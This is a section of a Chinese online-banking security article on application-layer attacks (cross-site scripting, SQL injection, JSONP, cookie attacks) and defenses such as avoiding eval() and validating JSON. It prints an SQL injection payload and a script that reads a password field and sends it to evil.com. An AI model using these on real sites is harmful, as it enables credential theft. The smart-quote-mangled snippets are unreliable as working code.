信息化 频道

超级网银就安全?网上银行安全扫描

    三、应用层安全隐患及方案

    除了网络和传输层攻击外,还有很大一部分来自应用层的攻击,而这一层的攻击往往被人忽视。2006年Gartner报告中显示,75%的攻击来自应用层攻击,可见其重要程度。

三、应用层安全隐患及方案

    1) 应用安全隐患——十大安全隐患

三、应用层安全隐患及方案

    上图是应用层的10大攻击类型,包括跨站的攻击等。下面对其中几个进行进一步的说明分析。

    1. 跨站点脚本执行

    跨站的脚本攻击是黑客用来潜入Web应用程序的最普遍的应用程序层攻击之一。XSS是针对特殊Web站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。

    跨站的脚本攻击危害很大,是最大的安全隐患之一,如下:

    ·从你正在浏览的域中偷到你的信息

    ·完全修改你所看到的页面内容

    ·从现在开始,跟踪你在浏览器中的每一个动作

    ·把你重定向到一个恶意的站点

    ·利用浏览器脆弱点控制你的机器

    ·…

    2. 注入缺陷

    什么是注入缺陷? 注入缺陷指的是用户提供的数据被当做命令或者查询的一部分,送到应用后端的解释器中。

    ·SQL注入

    当用户输入的数据被放到SQL语句中,如基于id获取产品的详细信息:

    Select * from products where id=‘+myid+’;

    而黑客,输入参数时:

    ‘ or ’‘= ’

    结果和执行下面的SQL一样:

    Select * from products

    ·JSON注入:

    许多通道都可以交换JSON消息。因为同源策略的限制,我们不能在与外部服务器进行通信的时候使用XMLHttpRequest。JSONP(JSON with Padding)是一种可以绕过同源策略的方法,即通过使用JSON与<script>标记相结合的方法,如清单1所示。

    清单1.JSON例子

    <script type=“text/javascript” src=“http://travel.com/findItinerary?username=sachiko&

    reservationNum=1234&output=json&callback=showItinerary” />


    ·Cookie攻击

    清单2.攻击示例:从文本字段中窃取密码

    function stealpw(){

    var pw = document.getElementById(“password”).value;

    document.images[0].src=“http://evil.com/imgs/stealpw?pw=” + pw;

    }

    document.getElementById(“button”).onclick = stealpw;

    2) 解决方案

    1. 不要动态地生成和执行代码

    可以使用若干种方法在JavaScript程序中动态地生成代码,最著名的函数之一就是eval()函数,该函数允许您将任意字符串做为JavaScript代码执行

    然而,肆无忌惮地使用该函数是非常危险的,尽量不要在JavaScript中直接使用 eval()函数。

    2. 保障JSON的使用安全

    JSON是以JavaScript的一个子集为基础,所以脚本内容会潜在地包含恶意代码。

    然而,JSON是JavaScript的一个安全的子集,许多JavaScript库使用eval()函数将JSON转换成JavaScript对象。

    攻击者可以向这些库发送畸形的JSON对象,这样eval()函数就会执行这些恶意代码。

    可以采取一些方法来保护JSON的使用。第一个方法是使用RFC 4627中所定义的正则表达式确保JSON数据中不包含活动的部分。清单3演示了如何使用正则表达式检查JSON字符串。

    清单3. 使用正则表达式检查JSON字符

    var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test( text.replace(/“(\\.|[^”\\])*“/g, ‘ ’))) && eval(‘(’ + text + ‘)’);

    另一种更具安全性的方法是使用JSON解析器对JSON进行解析。由于JSON的语法相当简单,您可以轻易地实现这种解析器,而不会带来显著的性能差异。

    3. 使用Web应用安全诊断工具

    安全审计人员/QA工程师/测试人员/开发人员,为了简化发现和修复Web应用安全问题的过程,会扫描Web应用、发现安全漏洞、提出修改建议、形成多种报告。

    4. 在应用层使用基于白名单/黑名单的工具

    过滤请求和回复的消息,根据白名单/黑名单对请求进行过滤。

    3) Web2.0和安全

    网上银行逐渐使用Web2.0技术,下面从几个方面分析Web2.0对网上银行的安全影响。

    Web2.0对于安全的影响

    - Web 1.0的一些问题得到放大,所有人都成为贡献者让输入合法性验证变得更加棘手。

    - Mashup/AJAX 相关问题:对于同一Mashup页面中,DOM的访问没有限制会导致可能的同源问题;

    -浏览器端的一些框架不可靠。

    Web 2.0的模式和技术还是基于现有的Web技术

    - 所以Web1.0的安全问题同样存在,同样相应的办法也同样适用。

    Web 2.0通常使用AJAX技术

    - AJAX在大部分浏览器上都是默认支持的,所以在应用中不适用AJAX并不能让应用更加安全。

    - 如果新的REST服务被引入AJAX的应用中,那么这些REST服务需要被合理的进行安全控制。

    Web2.0的应用并没有引入导致安全挑战的新技术,所以安全问题还是依赖具体的应用情况而没有一个通用的解决办法。

0
相关文章